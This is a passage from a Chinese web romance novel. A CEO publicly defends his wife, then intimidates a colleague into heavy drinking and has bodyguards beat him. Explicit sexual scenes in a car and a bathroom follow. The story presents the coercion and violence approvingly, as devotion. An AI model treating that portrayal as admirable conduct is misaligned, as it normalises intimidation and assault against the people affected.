这时,“啪”的一声, 休息室的门被人踹开。 周绾宁朝后看去,发现是周辞安。 他过来,将她从座位上拉起来, 护在了身后。 “周园长?请别妨碍我们调查。”沈清虞面色不爽,“出去。” “这是我园区的老师,她做了什么,都是我允许的,你们想要调查, 就来调查我,我会尽量配合。” 周辞安十分硬气。 他不许任何人在他的眼皮子底下欺负周绾宁。 * 谢温言先收到了周辞安的信息,再是看到了热搜上的消息。 周绾宁不仅背负了之前被造谣陪酒的消息, 现在又有各种不堪入目的谣言捆绑着她。 谢温言打了电话给明潇,让她处理公关。 随即,他准备前往幼儿园,却在64层的小平台,被谢书俊拦下。 “马上就是股东大会,你要去哪?” 谢温言知道,他父亲是带着答案来问他的。 “我自然是要去找绾宁,盛坤教育的调查组已经去烦她了,作为她丈夫,我该挡在她面前为她处理好这些琐事,不是吗。” “你知道这次股东大会那些站孙家的都会趁机弹劾你,你不留在这里想办法解决之后股东对你的刁难,跑去找周绾宁,她就这么值得你费心吗?” 谢书俊干脆也不装了,“不许去!” 谢温言继续往电梯口走:“我不是你的傀儡,而且你以为我留在集团里,是来做你靠山、替谢家撑腰的?你错了。” 谢书俊立马对自己身后的保镖使了个眼色,拦住谢温言的去路。 “温言,无论如何,今天你都先把股东们应付过去,周绾宁那边我已经去处理了,你别浪费太多心思在她身上,好好应对接下来的股东大会!” 谢温言往后一倒,坐在沙发上,拿出手机开始编辑话语。 谢书俊以为他就这么放弃了,正准备离开,却发现微博推送来一条消息。 他看向上面的信息,是谢温言发的微博—— 谢温言:“我和我妻子在休息室里的接吻视频,被人不小心发出来了,我老婆脸皮薄,那就由我说两句。我爱恋她七年,与她结婚两年,网上关于她的事情皆为不实,我很爱她,希望大家祝福。” 最后发了一张周绾宁和他的合照,周围的光很暗,但周绾宁看着镜头,眼睛里亮闪闪的。 她窝在谢温言怀里,而谢温言满心满眼是她,爱意溢出眼眶里。 “你、你疯了?”谢书俊放下手机,不敢置信地看着谢温言。 谢温言关掉手机,冷笑一声:“我看你才是疯了,用我底线挑战我的忍耐度。” 他站起身,居高临下地看着自己的父亲,“你非要我去面对股东,不就是因为你那小老婆做的蠢事,现在必须要我来给那些股东一个交代吗?这个会议要去就自己去,他们决定给盛坤集团换个CEO,我也无所谓。” 说完,他喊了一声裴特助。 很快,裴特助带来了十几个保镖过来,站在了谢温言身后。 这一次,谢温言再去坐电梯,谢书俊的人不敢再阻拦。 劳斯莱斯一路疾驰,赶去了星海幼儿园。 路上,谢温言也给谢书俊的秘书沈清虞发去了消息,让她滚,别企图对周绾宁指手画脚。 最后他一个人来到了会议室外。 外面围满了人,他们似乎都迫切想要知道屋里的人,到底发生了什么事。 看到他过来,纷纷避让,为他打开一条道 𝑪𝑹。 谢温言的目光划过门外的几个人,在落到覃扬的脸上时,阴鸷了几分。 他暂时没时间处理他,而是径直推开了会议室的门。 里面,感受到室外的阳光时,周绾宁一脸受惊地回头看来。 在看到他的那一秒,她的眼神里流露出些许委屈与愧疚。 谢温言心脏像是被一只手捏紧,他冷冷地看向前方的沈清虞,走过去把站起来的周绾宁拥入怀里。 “对不起。”让她独自面对这些。 周绾宁将脸埋进他的怀里,没有说话。 但谢温言体会到了她的难过,侧过头亲了亲她的额头,而后冷眼看向沈清虞,拿起周绾宁面前的一张纸。 看到上面的文字时,他笑了,气笑的。 两三下将那张纸撕成碎片,随后丢向了沈清虞:“谁给你胆子,这样对待我的妻子?” 看到他会赶来,沈清虞的脸上已经有了些许讶异,在他毫不客气地将碎纸丢在她脸上时,她更是惊愕万分。 谢温言还没有这么不给她面子的时候。 但平静了心态后,她尽量做到不卑不亢:“一切都是谢董的安排。” “所以你是觉得孙晗莉进去了,你就有机会上位了?沈清虞,认清自己的位置,或是认清谢书俊的位置,你们在我这没有任何例外。” 谢温言从来没有在外人面前,对自己父亲那么不客气的时候。 沈清虞愣住。 她看了一眼周绾宁,气道:“既然这样,谢总好自为之。”音落,她带着自己的人,离开了星海幼儿园。 周辞安看了眼此刻埋首在谢温言怀里的姐姐,默默把空间让给他们。 等会议室里只剩下他们两个人,周绾宁才仰头看向谢温言,询问:“你怎么来了?” 记得中午自己离开盛坤集团的时候,他还有说下午有个股东大会要开。 现在看到他来,刚刚被不尊重对待的委屈,顷刻间泄了出来。 谢温言揉揉她的后脑勺,温声道:“网上的事情我已经让明潇去处理了,你不需要太过担心。” “对不起。”周绾宁也不知道为什么自己要跟他说对不起,只是总觉得还是自己连累了他。 谢温言心脏有些不太舒服,一边觉得自己没有保护好她,一边觉得欺负了她的人都该死。 “对不起什么?” “让你为我的事操心了。” 周绾宁吸吸鼻子,难受不已。 “什么叫你的事,里面难道没有我吗?难道我得一辈子被你藏着,没个名分?” “不、不是。只是我还没做好准备。”向周围认识的人说,谢温言是自己的老公。 谢温言揉揉她的脸:“好了,先带我去食堂吃饭吧。这个时间点……学生们应该都还没上课吧。” 周绾宁先回:“嗯,现在他们还在午休。”又好奇,“对了,你是没吃饭就过来了吗?” “嗯,知道你这里有事后,急着过来,没吃饭。” “好,那今天这顿我请客。” 周绾宁举着自己的食堂卡。 她最后看了眼让她心有余悸的会议室,从一旁拿回自己的手机,收拾好所有糟乱的心情,带谢温言离开。 到了门外,周绾宁怕被同事看见,下意识要抽出自己的手。 但谢温言不依,向来沉稳的人,倒在这一点上有点像是小孩那样犟。 “这儿毕竟是工作场所,我们这样不太好。” “没什么不好的。就是要让所有人都看看,我谢温言是谁的。”他伸手点点她的鼻子,“难道你还想在这最后一个月,还被各种有色目光看着?” 这番话,让周绾宁觉得不无道理。 她嘴角勾起,没再抽出手,带着谢温言去往食堂。 不过许是谢温言在忙,时不时就有人给他发消息,他也一只手牵着她,另一只手飞速回消息。 周绾宁全程走得有点忐忑,无论是熟悉还是不熟悉的同事,都会纷纷侧目过来。 路过的园丁阿姨还打招呼:“小周老师,这是你对象啊?” “啊,对对,是我老公,好看吧。” 都已经到了被人误会自己是谢温言小三的地步,周绾宁觉得自己确实不能继续藏着掩着了。 以前她是计划和谢温言分开,但现在不分开了,她就要行使谢温言太太的权利。 园丁阿姨对她比了个赞的手势:“小伙子蛮俊的,小周老师好福气哦。” 之后一路,周绾宁再也没有松开谢温言的手,甚至还与他十指紧扣起来。 到了食堂。 周绾宁见谢温言有些心不在焉,想来他无论是富家少爷时期还是现在总裁身份,应该都不太可能来公共大食堂里用餐,所以有些不自在。 她安慰道:“你在这边等等,我去帮你打菜,我知道这里的什么菜最好吃。” 之前虽然有桐姨帮她做菜,但她也常常会陪韦老师一起来这里用餐,所以对这里最好吃的菜品也有自己的见解,并且也认为谢温言会喜欢吃。 谢温言点头,没再动作。 周绾宁抿了抿唇。 按照常理来说,谢温言能动手的,一般不会让她亲自来。 好奇又新奇他现在为什么会是这样的反应,但周绾宁没有过多犹豫,拿起一旁的餐盘去打菜。 在前面挑了半天,在看到谢温言最爱吃的酥皮黄鱼还剩一些时,周绾宁连忙向食堂阿姨撒娇讨要。 食堂阿姨是很喜欢周绾宁的,连忙给了满满一勺。 后面,她又要了一份辣椒炒肉。 等她打完菜要转身的时候,谢温言已经过来握住了她的手。 周绾宁抬头看他,带了点不解:“怎么了?不吃了吗?” “吃,但我带你去里面的会堂吃。” “啊?” 周绾宁面露错愕,随即被谢温言揪着进到了之前从没进去过的食堂一侧的会堂包间里。 入目的首先是一张超级大圆桌,而围坐了一圈的都是自己办公室的人,包括周辞安也在。 所有人的目光都落在了他们身上。 谢温言牵着她,在主座落座。 一直到落座许久,周绾宁才想起来问他,小声的:“你要做什么?” 把她的同事怎么都聚集起来了。 谢温言嘴角一勾,声音不轻不重,整个会堂的人都能听见:“今天请大家吃饭的这一顿有些仓促,但菜品都是由我本人亲自联系的酒店送来的,是我谢某以绾宁的丈夫这一身份,感谢大家这两年对绾宁的照顾。” 周绾宁抿了抿唇,甚至不敢去看韦老师的神情。 但现场没人敢下谢温言的面子,除非是不想在盛坤旗下任何一个幼儿园里工作了,所以在谢温言这样不太客气的话语过后,仍有不少人举杯奉承。 周绾宁好奇地环顾了一下周围,并未在圆桌范围内看到覃扬的身影。 难道,他已经被开除了? “在找谁?”谢温言侧首过来,目光带着一丝对待的冷然。 不过周绾宁能捕捉到他眼底温柔的星辰。 “我……” 不等周绾宁回答不远处的门打开,只见门外的保镖将覃扬带了进来,按在了独留给他的位置上。 周绾宁愣住,看向谢温言。 谢温言察觉到她眼底的不安,伸手过来握住她的手,轻轻捏了捏。 随后,他笑着看向覃扬:“听说,这次监控是从你手中流出去的?” 覃扬的神色瞬间不自然了。 圆桌上的其他老师,也对覃扬的所作所为,心里有了数。 春鈤 谢温言端起酒杯喝了一口:“我倒是没想到休息室里有监控,也更没想到有些人会录制监控视频,放出去,诋毁我的妻子和我的名誉。” 韦老师好奇看向一旁的徐婧,寻求解答:“这是怎么了,我不过是去集团开了个会,怎么回来后,搞不懂现在发生了什么?” 徐婧端起面前的红酒,浅浅抿了一口:“据我的分析,覃扬暗恋周绾宁,得不到就想毁了她,之前估计误打误撞看到过周绾宁和谢温言在休息室里接吻的视频,他录下来,威胁过绾宁了,没得到好处后,就对外曝光,对内举报,害得绾宁今天被集团的人调查。” “啊?看不出覃扬老师是这样的人啊。” 徐婧冷笑:“他也就表面装得深情正经,我以为被我拒绝后,怎么也该歇了,没想到后来竟然去骚扰周绾宁了。谢温言不会放过他的。” 另一边,覃扬也没想到事情会这样发展。 之前的错误信息里,让所有人都以为那天和谢温言来幼儿园的女伴才是他的妻子。 谁会想到周绾宁一直遮遮掩掩的对象真实存在,还就是谢温言本人。 根本没人会把一个幼师和一个上市集团总裁联想到一起! 谢温言看向覃扬:“虽然这件事绾宁不想追究。但我这个人心眼小,我记得六一儿童节那天,我有警告过你,离我老婆远一点,没想到你报复心起来,拍下我和我老婆接吻的视频向上举报,说绾宁勾引我这个有妇之夫。我觉得,即使中间有误会,但你也需要向我的妻子道个歉,不是吗。” 其实谢温言并不稀罕覃扬的道歉,也懒得对付他这种小丑。 但谁欺负周绾宁,他就是会有浓重的报复心理,包括谢家那个。 对待高端的人用高端的手段,但对待这种低级的人,他可以用简单的方法羞辱。 谢温言端起手中的一杯香槟,微笑着看向覃扬。 覃扬连忙端起自己的杯子倒了满满的一杯,走到谢温言和周绾宁面前。 他对着谢温言道歉:“谢总,是我有眼不识泰山,冲撞了您和夫人,实、实在是夫人太过优秀,所以我……” 谢温言轻轻晃了晃手中的杯子:“这么说,还是我夫人的错了?” “不不不,是我不好。” “覃老师,做错事的人,应该要好好喝一杯吧?”谢温言举起酒杯,给自己灌了一口。 覃扬顿时听懂了谢温言话里的意思,连忙给自己灌下满满一杯。 谢温言心里是烦的。 好不容易把周绾宁之前不好的回忆在热搜上压下去了,没想到又被覃扬这一搅屎棍重新捅上了热搜。 那么今天,他就该付出代价。 覃扬呛到咳嗽喝完一杯。 谢温言笑道:“覃老师还挺有认错的态度,但刚刚你道歉错人了,你应该向我夫人道歉,你冲撞的不是我。” 谢温言站起来,给覃扬倒了满满一杯香槟:“我也不想绾宁以后在这里和她的同事抬头不见低头见,太过生分,你继续喝,喝到我满意了,这件事就过了。” 覃扬刚刚一杯白的下肚,就已经受不住。 此刻听到谢温言这样的话,犹豫一瞬,他还是陪着笑点点头,将对方给自己倒的满满一杯香槟喝了下去。 谢温言继续给他倒。 覃扬继续喝,一刻也不敢耽搁。 其实从谢温言狠厉的眼神里,他也知道自己不想喝,可能就无法平安地离开幼儿园里了。 谢温言丢开酒杯,随即坐在自己的位置上,笑着看已经有些迷糊的覃扬。 “知道我为什么要你喝那么多酒吗?” 覃扬愣了下,一边忍着吐出来,一边摇摇头。 “两年前,我妻子求人合作喝酒,和你现在求人原谅,本质是一样的。本来这件事怪不到你头上,但你把我妻子弄上热搜,想害她身败名裂,往她身上堆各种下作的标签,就是想着把她拉下来,觉得自己就能配得上她了。” 谢温言眼底有些偏执,“你有了这种想法,今天就该万劫不复。” 他用下巴示意覃扬手中的酒杯,丢下一句话,“继续。” “谢、谢总,我真的不行了。”覃扬只觉得胃在灼烧。 “既然覃老师诚意不够,那就先退出酒局吧。”说着,谢温言低头吃菜。 另一边裴特助走过来,带来两个保镖,将覃扬怎么押过来的,就再怎么带离。 会场的气氛有些诡异。 周绾宁看到自己的同事都噤若寒蝉的模样,再加上刚刚谢温言说起关于两年前酒局的事情,脸上不免有些挂不住。 她想要叫停:“谢温言,今天要不先不吃了吧。我们回家?” “既然今天都在这里了,就一次性把话说清楚。” 谢温言不想让周绾宁再受伤,此刻不免有些偏执起来。 “可你吓到我的同事了。” 刚刚谢温言想请大家吃饭这件事,虽然有些奇怪,但还能接受。 可现在整个会堂的气氛越来越怪异,周绾宁觉得自己必须阻止。 第48章 冷战 以后我们之间……只会是热战。…… 谢温言像只倔驴一样不动。 周绾宁深吸一口气, 缓下自己此刻的生气,并不想让幼儿园的人看他们的热闹。 她压低声音:“你不走的话, 我就走了。” 说完,她对周围的同事友好地笑了笑,随即拿起自己的东西准备离场。 谢温言原本还在犟,但握住周绾宁的手,带着安抚的触摸,随即也起身牵着她的手离开。 会堂里没了小夫妻两个,倒也是恢复了平日同事之间相处的松弛。 韦老师拍拍胸脯:“虽然那小周老师的老公年纪没我们大, 但看着好严肃, 压迫感好强的样子。” “毕竟是那么大一个集团的总裁, 跟我们管理十几个萝卜头, 那需要的魄力也不一样。” “我虽然跟谢温言交集不多,但还是第一次见他这样动怒。”徐婧嘴角露出一丝玩味。 只能说这跟孙晗莉给她妈妈释放的信息是不一样的。 在贵妇圈,孙晗莉说的都是谢温言是为了气他爸爸才找的周绾宁。 因为周绾宁是个很好的报复他父亲的工具。 可现在看来,周绾宁怎么可能只是一个工具? 会堂外。 周绾宁正准备好好跟谢温言说说话交流, 却在一个拐角处,见到一个保镖正痛击了一下覃扬的肚子。 覃扬狼狈地将肚子里的酒吐了出来,倒在地上, 看着是一副不省人事的模样。 周绾宁愣了一下,准备过去,却被谢温言拉住了手。 “去那干什么?” “这里是幼儿园,被人撞见这样不好,万一孩子们午休出来看到……” 周绾宁没见过谢温言这样子, 仿佛有一种天然的疯狂感。 谢温言垂下眼眸,将她大力扯进怀里,眼眸深深地看着她, 像是有很多很多的话要对她说。 空气都有些凝滞。 周绾宁怕两人会因眼前这一幕,再起争执,只能反握住他的手:“回家了,好吗?老公。” “好……”谢温言拿出手机,对正在教训覃扬的手下发出了制止命令,随即带周绾宁离开。 周绾宁再次看了一眼覃扬,心里是明白的,这应该是他们最后一次见面。 也好,省得再见心烦。 车里,谢温言像是在忙于下午没去的会议,一言不发,严肃地在手机上发消息。 周绾宁也找不到话题聊。 虽然两个人没有正式吵起来,但却心知肚明彼此陷入了冷战之中。 她想了想,最终主动打破此刻几乎凝滞的氛围,虽然说话的声音很轻:“谢温言,你是不是很介意那张照片?” 之前,她一直躲着他,好像也没跟他解释过那张照片的来源,他会不会也怀疑她以前…… 所以心存芥蒂,在责罚覃扬的时候,还特意提了这件事。 周绾宁垂下眼眸,里头有些难过。 见他许久都不说话。 周绾宁变得无力,情绪主导后,说话就没了分寸:“如果你很介意那件事的话,我们可以……” “周绾宁,在你的处事方法里,永远只有解决我这一个选项吗?” 谢温言放下手机,眸光沉沉,带着冰霜。 他及时出声打断她的话,防止她说出什么来气到自己。 这时,车停进车库里。 见谢温言没有要下车的迹象,李叔知道他的意思,自行下车离开,还带上了地库的门,把这里留给他们俩。 车里的氛围顿时冷寂下来。 以前谢温言的态度有些冷冷的,但周绾宁并没有觉得很难过,但现在两个人明确过心意,他态度忽然变 ?????? 得这样冷。 感受过他极致温柔的周绾宁自然有些接受不了,她鼻尖泛酸。 怕自己还没说两句话就破防,她准备推开车门离开,先让自己缓缓情绪。 谢温言却握住她的手,将要下车的她猛地拉回去,大力拉上车门,让狭小的空间里,再次留下他们两个人。 周绾宁落在他的腿上,近在咫尺的是他的呼吸,与他那双沉却偏执的眼神。 “逃什么?” 周绾宁故意气他:“怕你生气失去理智……打我。” 谢温言气笑,轻而易举地端起她,把她双膝分开,让她坐在自己身上,随后伸手轻轻拍了她的臀。 周绾宁顿时一个激灵,控诉:“谢、谢温言,你怎么能打我呢。” 谢温言一本正经:“那我给你揉揉?” 随后也不等周绾宁拒绝,他的大掌包住她饱满的两处,轻轻拍一下,又重重地安抚两下,像是揉面团那样,大力却不会让人疼。 周绾宁甚至还感觉到一丝不对劲。 起初,她还以为是自己想多了,但看到眼前男人眼底慾越发浓,就知道自己没有想多。 “别……”她将额头抵在他的肩头,呼吸紊乱。 “只是帮你揉揉,我没有做什么。还是说,绾宁需要我做点什么?” “我才不需要你。”周绾宁伸手推他,“谢温言,我们还在冷战。” “我们之前冷战太多次,我觉得这个不适合我们,所以以后我们之间……只会是热战。” “什么?” 不等周绾宁反应,谢温言已经主动抬头将自己的双唇凑上来,去吻她,寻求她的饶恕。 饶恕他刚刚在外人面前的失控,饶恕他刚刚带给她的不安。 谢温言脱去碍事的西装外套,双手箍紧周绾宁的细腰,轻而易举地让她无法逃脱,只能在自己的怀里承受自己的吻。 雨哗哗地落下,打砸着地库外的花草,一片混乱。 车内,摩擦出来的热气让他们彼此都难以按捺。 片刻后,谢温言停止自己的强势,喘着的热气喷洒在周绾宁的肩上。 “说,你需要我。” 周绾宁不回答,只是问他:“告诉我,你今天为什么这么生气?真不是因为我的那张照片?” “那张照片一上热搜,一看到你被人羞辱,我就回陷入深深的悔意。” “悔?” “后悔当初为什么没有早点回国接手盛坤,这样就能挽救周氏,你也不会被那样刁难。” 回顾过去,谢温言只有满满的愧疚。 周绾宁捧起他的脸,终于知道今天他这么反常的心结在什么地方了。 她凑过去,亲了亲他的脸颊:“原来你是这样想的。” “谢温言,你不需要背负这么多的,虽然周氏集团是没救起来,但后来你也帮了我们许多。一切都有命数。” 谢温言眼神里还是难过,好看的眉眼里有疲惫、自责、淡淡的血丝让他还带着寒霜的神情,有些脆弱不堪。 周绾宁心疼此刻的他,忍不住凑过去吻他的双眼。 “谢温言,我需要你。” 她回答他刚刚的问题,告诉他,她是需要他的。 谢温言率先从车上下去,随即端起她,抱着她走进一旁的电梯,上去二楼。 到了两个人最放得开的地方,周绾宁才展现对他的渴求,去亲吻谢温言的喉结。 那一瞬,楼道里昏暗的光照耀着谢温言的脸颊。 他的眼神从欣赏爱慕,逐渐转变为猩红的慾望。 他继续揉搓她臀肌,笑着将她带进了他们卧室的浴室。 短短的一段路,周绾宁被他抚得浑身酥麻,就差变成一滩,缠在他身上。 “怎么来了这?这么早就要洗洗睡了?” “今天玩点不一样的。” 周绾宁眼神有些错愕。 谢温言没有解释,兀自地把她放到浴缸里,再将她的双膝搁置在浴缸的壁上。 “谢温言!” 谢温言一手与她十指紧扣,一手贴在周绾宁平坦的腹部,轻轻抚摸。 周绾宁瞬间头皮发麻,想要挣扎起来,但浴缸壁实在是太滑。 “明天我要飞一趟港城,你在家等我。” “啊,怎么又要走?”周绾宁不太高兴,“这次是要去干什么,什么时候回来?” “倒是比以前粘人了,以前你都不会问我要去干什么,什么时候回来。”谢温言目光专注在她的花地,贪恋不已。 “不喜欢我粘你?” 谢温言嗤笑一声,带着薄茧的手轻轻勾动小红珠,意有所指:“喜欢,很喜欢。但这次是个秘密,暂时不能告诉你。” “你不说的话,我就不让你碰。”周绾宁是很想要他的,但原则的事情不能轻易越过。 于是在她强行闭合自己,阻止他的窥探与勾弄。 谢温言眼神暗下,勾唇笑:“那我告诉你的话,绾宁今晚会让我要几次?” “怎么能这样交换?” “能。” “那两次?” “不够。” “……好,三次,不能再多了,老实交代吧。” 谢温言凑过去,在她耳畔说道:“去做结扎手术。” 周绾宁惊呆了,下意识阻止:“你不必非要迁就我,我、我……” “你现在还是在舞台上展现自己的好时候,怀孕会让你分散太多精力,我也是怕耽误你追求自己的热爱。” 周绾宁抿了抿唇。 他知道她在重回舞台这条路上不容易,所以他包容她的一切选择。 “谢温言,怎么办……” “什么怎么办?” “你这样好,我会更舍不得离开你的。”说着,她把自己挂到了他的身上。 谢温言低头笑,嗓音柔和不已:“也好,你离不开我,可以把精力更多地放在舞蹈和我身上。” 周绾宁去寻他的唇:“你为什么,就那么喜欢我?” 到了现在,她竟然生出了恃宠而骄的滋味来。 “小时候欺负你欠的债,得还。” 周绾宁反客为主,越过浴缸把他搂住:“那我欺负回来,我们之间是不是就扯平了?” 谢温言低头笑:“不会,小时候欺负你的惩罚,就是要我一辈子做周绾宁的仆人才够,所以你尽管欺负我,但我们之间扯不平。” 话音落下,他的手继续往下,“乖一点,打开些,你也知道你那儿不好进。” 他温柔的嗓音在她耳畔哄着,带着点黏腻勾人。 周绾宁双臂紧紧搂着他的脖子,因为他的话,因为他的气息,身躯不自觉地颤了一下,酥麻到整个下肢都是酸軟的。 谢温言的目光下移,看着自己很宝贝她的地方。 在知道什么是喜欢一个人后、在看过她的舞姿之后,周绾宁便不少次成为了他梦里的常驻。 他发了疯地想要她。 以前都觉得自己有够疯狂,但现在真正尝过她的滋味后,他才发现那根本就不够。 最后,想要她放松,好好接纳自己的行为,还是半途而废了。 谢温言坐在浴室干净的地毯上,握着周绾宁身肢,让她主动要自己。 他哄着她叫她中午没叫够的daddy。 也会轻轻拍打她,让她呼痛,然后享受她对自己不受控制的包裹,感受到她是如何在要自己的。 后来他发现,原来这件事让周绾宁被动变主动,是那么快乐的一件事。 第49章 珠宝 你想怎么……都可以。 谢温言像只倔驴一样不动。 谢温言飞去港城的第三天, 明潇特意过来梧桐湾陪周绾宁吃喝玩耍。 “谢温言要求的,怕他不在, 你一个人会无聊。” 明潇从自己的行李箱里取出了好几条衣服,一一铺在床上。 正在看温璐芸老师舞蹈分镜的周绾宁随意瞟了眼床上那些轻薄透气又没有多少面积的布料,愣了一下,凑过去好奇:“怎么又带这么多……” 话没说完,脸颊半红。 明潇一脸“瞧 ?????? 瞧你那没出息的模样”:“搁我面前装什么,刚刚你去给我拿睡衣,别以为我没看见, 谢温言那厮给你买的满柜子衣服, 啧啧, 也没比我这好多少。” 周绾宁抿抿嘴, 像是做无辜的小朋友,连忙转移话题:“之前谢温言在,你拿这些给我,是想给我□□, 但现在他去港城了,我感觉自己暂时……不需要了。” “嘿嘿,是我需要。” 明潇笑眯眯地举起一条珠宝bra, “我最近开展了一个副业,需要一个模特穿戴好,帮我继续完善一下。” 周绾宁立马抱住自己的双臂:“你不会是想要我……” “没错~” 明潇色眯眯地盯着周绾宁,“就拜托你啦~” 周绾宁连忙摆手拒绝。 但明潇暗暗逼近,并各种“威逼利诱”, 最后,成功在周绾宁近乎完美的胴体上,放上了自己的作品。 她看着从浴室里走出来的周绾宁, 摇头称赞:“不愧是最适合我作品的人,周绾宁,呜呜,我对谢温言都有点羡慕嫉妒恨了。” “潇潇,会不会有点太暴露了?” “不会不会。”明潇来到一旁的画架前,拿出笔,开始比对她的身材,最后指了指不远处的宝石丝绒沙发。 周绾宁不好意思地走过去,侧躺下来,给明潇做模特。 明潇刚刚“威胁”她,如果自己不做模特,她就把她年少时拍的兔女郎私房照发给谢温言。 想到谢温言在港城做的手术,为了他能好好养伤,周绾宁觉得还是不要太刺激他了。 明潇仔细描摹着眼前的身躯,和上面的宝石bra。 两颗红宝石的火彩在室内灯光下闪烁着耀眼的光芒,而周绾宁雪白的皮肤在璀璨的宝石毫不逊色。 终于,她觉得这套宝石bra缺失的部分是什么。 于是,她在三角区域来了一笔欲盖弥彰的设计。 看着成品图,再看向周绾宁那方向,明潇忍不住咽了咽口水。 真是越遮遮掩掩越朦朦胧胧也越让人想要撕开毁掉。 她一定要把成品送给她的小绾宁! 周绾宁捂着心口从沙发上下来,路过一旁的落地镜时,也很欣赏明潇的设计,忍不住拿出手机自拍了几张。 白皙修长的腿上坠着珠宝,往上是层层叠叠的珠串遮住敏感的三角区域,腹部上是一条黑色宝石链接着裙子与罩子,往上还有蕾丝挂脖。 纯慾风。 她决定将照片偷偷珍藏。 但等到晚餐时谢温言问她在吃什么,她将自己拍的黑松露照片、东湖夜景照片、还有和明潇的自拍照一起收拾发了过去。 大概三分钟后,谢温言发来视频。 周绾宁觉得不解,一边接听,一边切新上的牛排。 “怎么了?” “绾宁,你是要我死吗?” 一句话,让周绾宁差点没反应过来,她不解地看着正躺在医院病房的他,眨巴了下眼睛。 他很少会用这么严肃的语气跟自己说话。 周绾宁回忆了下自己发给他的照片,好奇:“是因为我给你发美食照片?那抱歉,等你回来,我请你吃大餐好不好?” 她柔着声音,好似哄孩子。 谢温言失笑,哪怕是死亡镜头,但也能看得出这个男人到底有多好看。 “绾宁,你越来越将这套撩而不自知运用得炉火纯青了,你把你穿着那件衣服的照片发给我,你叫我怎么忍?” 忍?那件衣服的照片? 周绾宁不解,连忙将通话界面拉下,果然看到自己发出去的几张照片里,让谢温言控诉她要他死的那张照片赫然就在里面。 是她对着镜子自拍的那张。 “对、对不起。”她脸上都是愧疚,暗恼自己怎么能那么粗心。 “绾宁,这件事,好像光说对不起没有什么用。”谢温言眼神里有克制,但也有浓重到压制不住的情慾。 周绾宁看向对面正在吃舒芙蕾的明潇,企图求救。 明潇当做没有看见。 周绾宁又看向视频里,小声道:“等你回来再说。你想怎么……都可以。”音落,她慌不择路地将电话挂断。 明潇在电话对面笑道:“以前我觉得谢家是个古板的世家,谢温言呢也是一个一脉相承的小古板,现在看来都是我对她的误会,他丫的为自己算计起福利来,丝毫不手软。” 周绾宁还很贴心地为他辩解:“这次确实是我做的不对,他做了手术,我还这样勾、勾他,如果是我不能房事,他又拍了他的腹肌照片给我,我也受不住。” 明潇一脸“有意思”:“其实之前我想象不出来你们之间的私密行为会是怎样的,从前还脑补过一个克己复礼,一个安安分分,原来私底下玩得这么花,嘿嘿,我又有设计bra的灵感了。” 周绾宁低头喝红茶,当自己什么都没说。 这时,明潇的手机忽然响起音乐。 她看到是林星禾打来的电话,没有多想,按了扩音。 她们三个人是好朋友,没有秘密。 “喂,星禾,怎么了?” “潇潇……”林星禾的声音带着哭腔,“求你……救救我。” 明潇原本还带着轻松笑意的脸,在嗅到一丝危险后,变得严肃起来:“星禾,怎么了?” 周绾宁也意识到不对劲。 林星禾是一个很乐观开朗的女生,遇到再严重的事情,也没有用哭腔来跟她们说过“求”字。 可见事情到了十分严重的时候。 “我被秦怀的现女友堵在酒吧的洗手间里,她们……她们要扒我衣服。” 明潇连忙站起身,询问:“你在哪个酒吧?” “不寐。” 周绾宁也拎起包,跟着明潇一起赶过去。 车子到半路的时候,明潇一直安慰着电话对面的林星禾,叫她不要挂断,有什么事立即告诉她。 周绾宁也连忙联系了裴特助过来帮忙。 谢温言有交代过,在京市里无论遇到什么事,只要她搞不定,就找裴特助帮忙。 周绾宁以为自己在他离开的一周怎么也不会有需要裴特助帮忙的时候,没想到才第三天,就不得不让裴特助出面。 她也出声安抚林星禾:“星禾别怕,我们马上就到了。” 但是林星禾还没来得及回复她的消息,忽然响起一阵踹门声,紧接着就是林星禾熟悉的尖叫声。 周绾宁心一紧。 明潇猛地踩下油门,跑车在梧桐树下发出了轰鸣声,一路疾驰前往不寐酒吧。 大概十分钟后,跑车停在不寐酒吧门口。 明潇开门下车,一路往酒吧里狂奔。 路上偶遇安保表示不让车停在门口,她直接丢下一叠钱加自己的车钥匙,让他帮忙泊车。 周绾宁拎下两人的包紧跟其后。 来之前,林星禾已经将她送花的包厢地址告诉了她们两个,所以明潇直奔那个包间,很不客气地踹门进去。 一进去,就看见林星禾被按在地上,满地的鲜花碎片,看着像是用花狠狠砸过林星禾的头,导致她一侧的脸颊上还有花枝划过的伤口。 明潇和气的时候那是绵羊,但暴脾气起来就是直接拆家。 她过去,直接将压着林星禾的人踹倒。 周绾宁过去蹲下身,将林星禾扶起在自己怀里,而后看向包间里的人。 除了谭星仪,她还看到了另外两个本不该出现在这的人,一个是本应该在冰岛和周思恒举办婚礼的沐黎,另一个是谢温言的妹妹谢霜鄞。 至于刚刚按着林星禾的人,则是她们的私人保镖。 “你是?”谭星仪不解蹙眉。 “你祖宗。”明潇丝毫不客气,看向一旁的谢霜鄞和沐 𝑪𝑹 黎,“你们俩对我朋友做了什么?” 沐黎没搭理。 倒是谢霜鄞在看到周绾宁过来后,神色微变。 她其实本来不想参加这聚会,但谭星仪是哥哥的朋友,后来也跟她一起玩,所以谭星仪说失恋喝酒,她也就过来陪陪。 谁知道沐黎会突然送花给谭星仪,而来送花的是秦怀哥哥的前女友。 据说这次秦怀和谭星仪分手,是因为这个前女友。 而原本说和秦怀只是玩玩的谭星仪认真了,并且将自己和秦怀分手的原因都归咎到了林星禾身上,所以有了现在这一幕。 只是没想到林星禾会是自己嫂子和明潇姐的朋友…… 谢霜鄞从上次知道周绾宁才是小时候引领自己学舞蹈的人后,就有点儿不敢再面对她。 再加上后来自己的妈妈把哥哥弄伤成那样,她更是不敢和梧桐湾的这两位再有接触。 这次来酒吧也算是散心来的。 谁知道会遇到这种事。 见此刻明潇点自己,她有些无措地站起身,不知道该怎么跟明潇解释,跟已经很不喜欢自己的嫂子解释眼前的这一切。 谭星仪直接将手中的高脚杯摔在地上,并叫嚣着:“你问这个贱人啊!” 而抱着林星禾的周绾宁,眼见碎片要刮到林星禾身上,她连忙出手去挡住,也导致高脚杯的碎片无情地划过她白皙的胳膊,渗出鲜血来。 周绾宁疼得低呼一声。 折让谭星仪免不得愣了一下。 林星禾家里无权无势算不得什么。 明潇与她家没有业务往来,所以也算不得什么。 但现在京圈里谁不知道周绾宁的身份,还有她在谢温言心里的重要程度。 所以谭星仪变得有些无措。 “你疯了吧,在我面前还敢欺负我朋友?”明潇上前一步,挡住在她眼里需要自己保护的周绾宁和林星禾。 沐黎这时出声道:“不如你好好问问你朋友到底做了什么?我也是很好奇,你的几个朋友都是那么喜欢抢别人的东西的吗?” 她意有所指,笑里藏刀。 至于她说的几个朋友,明眼人都知道说的是谁。 